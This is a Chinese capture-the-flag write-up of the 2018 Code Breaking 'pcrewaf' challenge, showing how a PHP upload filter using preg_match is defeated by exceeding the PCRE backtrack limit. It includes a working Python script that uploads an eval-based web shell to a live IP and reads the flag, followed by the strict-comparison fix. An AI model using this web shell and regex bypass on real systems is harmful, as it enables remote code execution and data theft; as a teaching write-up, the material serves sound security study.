2018 Code Breaking(2) & pcrewaf

栏目: 服务器 · Apache · 发布时间: 5年前

内容简介:题目源码如下题目源码比较清晰,应该是一个上传问题,我们依次解读一下:首先我们确定上传目录

题目源码如下

<?php
function is_php($data){
    return preg_match('/<\?.*[(`;?>].*/is', $data);
}
if(empty($_FILES)) {
    die(show_source(__FILE__));
}
$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
    echo "bad request";
} else {
    @mkdir($user_dir, 0755);
    $path = $user_dir . '/' . random_int(0, 10) . '.php';
    move_uploaded_file($_FILES['file']['tmp_name'], $path);

    header("Location: $path", true, 303);
}

题目源码比较清晰,应该是一个上传问题,我们依次解读一下:

首先我们确定上传目录

$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);

然后我们上传的文件内容会被读取

$data = file_get_contents($_FILES['file']['tmp_name']);

紧接着内容会进入正则进行匹配,以判断我们上传的文件内容里是否有 php 代码

function is_php($data){
    return preg_match('/<\?.*[(`;?>].*/is', $data);
}

如果带有phg代码,贼会打印 bad request
若不带有php代码,则会将我们的文件进行保存

@mkdir($user_dir, 0755);
$path = $user_dir . '/' . random_int(0, 10) . '.php';
move_uploaded_file($_FILES['file']['tmp_name'], $path);

然后在http返回头里给我们文件路径

header("Location: $path", true, 303);
}

那么现在思路应该很清晰了:题目并没有禁止我们上传php文件,但是对文件内容进行了过滤,禁止我们写入php代码。

所以现在的思路应该就是:bypass正则

preg_match('/<\?.*[(`;?>].*/is', $data);

上传php文件getshell

正则分析

当我们输入一个正常的php文件内容时

<?php phpinfo(); ?>

我们可以看到正则的全部流程如下

首先正则开始寻找 <
2018 Code Breaking(2) & pcrewaf 找到 < 后,然后正则再开始寻找 ?
2018 Code Breaking(2) & pcrewaf 找到 <? 后,正则开始匹配 .*
2018 Code Breaking(2) & pcrewaf

可以在step4中看到,正则因为 .* 匹配上了 <? 后所有字符,但此时正则没有结束,又开始继续寻找

[(`;?>]

2018 Code Breaking(2) & pcrewaf 于是正则开始回溯,在末位找到 >
2018 Code Breaking(2) & pcrewaf 2018 Code Breaking(2) & pcrewaf 2018 Code Breaking(2) & pcrewaf 所以这里的正则大致意思可以明确为,寻找 <? 开头和

[(`;?>]

结尾的字符串。

那么我们怎么绕过呢?

一般情况下,我们会思考能否绕过php tags

例如

<?php
<%=
<%, %>
<script language="php">
<?=

那我们能否用

<%= phpinfo();

或者

<script language="php">phpinfo();</script>

来绕过过滤呢?

答案显然是否定的,我们注意到题目的php版本号

< HTTP/1.1 200 OK
< Date: Tue, 05 Mar 2019 08:19:19 GMT
< Server: Apache/2.4.25 (Debian)
< X-Powered-By: PHP/7.1.26
< Vary: Accept-Encoding
< Content-Length: 3965
< Content-Type: text/html; charset=utf-8

这里是php7,我们观察到官方手册

2018 Code Breaking(2) & pcrewaf

在php7中,这些tags都已经被移除,我们无法靠这个方式去bypass正则,那么应该如何去解呢?

php正则回溯法

这里要讲到ph牛的一篇文章

https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html

个人感觉ph解析的非常到位,我这里简单概述一下

我们从上面的正则流程应该能看出一些端倪,在step3到step4的时候,正则匹配完整个字符串,但因为正则没有结束,所以从后往前开始回溯寻找

[(`;?>]

那么有没有可能我们让他一直回溯,一直难以找到,直到我们达成正则表达式的拒绝服务攻击(reDOS)呢?

我们不妨构造如下payload

<?php phpinfo(); //skyskyskyskyskyskyskyskysky........sky

(省略号代表n多sky)

这里一直到step3都是和之前一样,但从回溯开始就发生了变化:

首先我们结尾没有用

[(`;?>]

所以正则需要不断从后往前回溯,一直找到phpinfo()后的那个分号

2018 Code Breaking(2) & pcrewaf 2018 Code Breaking(2) & pcrewaf

我们可以看到正则匹配次数会随我们的sky增长而增长。

这样显然是不行的,因为我们的payload后的sky字符串可以无限延长,那么正则匹配次数不可能达到那么大的数值。所以它会不会有一个上限呢?

我们可以测试

➜  ~ php -a
Interactive shell

php > var_dump(ini_get('pcre.backtrack_limit'));
string(7) "1000000"

可以发现次数为100万次,那么如果超过100万次会怎么样呢?

我们继续测试:

正常匹配成功情况下

php > var_dump(preg_match('/<\?.*[(`;?>].*/is', '<?php phpinfo(); //aaa'));
int(1)

返回了1

正常匹配失败情况下

php > var_dump(preg_match('/<\?.*[(`;?>].*/is', '2333333'));
int(0)

回溯达到上限情况下

php > var_dump(preg_match('/<\?.*[(`;?>].*/is', '<?php phpinfo();//'.str_repeat('a', 1000000)));
bool(false)

我们发现返回了false

漏洞点攻击

既然我们发现达到回溯上限会返回false,我们再看一遍题目的正则

<?php
function is_php($data){
    return preg_match('/<\?.*[(`;?>].*/is', $data);
}
if (is_php($data)) {
    echo "bad request";
}

我们可以构造如下文本内容

<?php phpinfo();//'.str_repeat('a', 1000000)

这样达到回溯上限后,is_php就会 return false
那么往下的if判断中得到的结果就会为

if(false)

我们自然就避开了过滤,达到了文件上传的目的

payload编写与getflag

import requests
from io import BytesIO

files = {
  'file': BytesIO('<?php eval($_REQUEST[sky]);//'+'a' * 1000000)
}

r = requests.post('http://106.14.114.127:22001/index.php', files=files, allow_redirects=False)
path = r.headers['Location']
url = 'http://106.14.114.127:22001/'+path
# print url
data = {
	# 'sky':"var_dump(scandir('../../../'));"
	'sky':"var_dump(file_get_contents('../../../flag_php7_2_1s_c0rrect'));"

}
r = requests.post(url=url,data=data)
print r.content

我们运行即可得到flag

➜  Desktop python sky.py
string(38) "flag{216728a834fb4c1e0bc6893e135f436e}"

修复方案

参照之前的测试,我们发现回溯失败的时候返回是false,而正常情况是0或者1,所以这里我们只要在if判断时,使用 === 即可,如下

if (is_php($data) === 1) {
    echo "bad request";
}

小结

不得不膜一下p神,为许多正则Bypass提供了这么多奇技淫巧,这一点和之前的 \ 打头的正则Bypass都能在日后测试中为我们拓宽攻击面。

文章首发于合天智汇

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Remote

Remote

Jason Fried、David Heinemeier Hansson / Crown Business / 2013-10-29 / CAD 26.95

The “work from home” phenomenon is thoroughly explored in this illuminating new book from bestselling 37signals founders Fried and Hansson, who point to the surging trend of employees working from hom......一起来看看 《Remote》 这本书的介绍吧!

在线进制转换器
在线进制转换器

各进制数互转换器

图片转BASE64编码
图片转BASE64编码

在线图片转Base64编码工具

UNIX 时间戳转换
UNIX 时间戳转换

UNIX 时间戳转换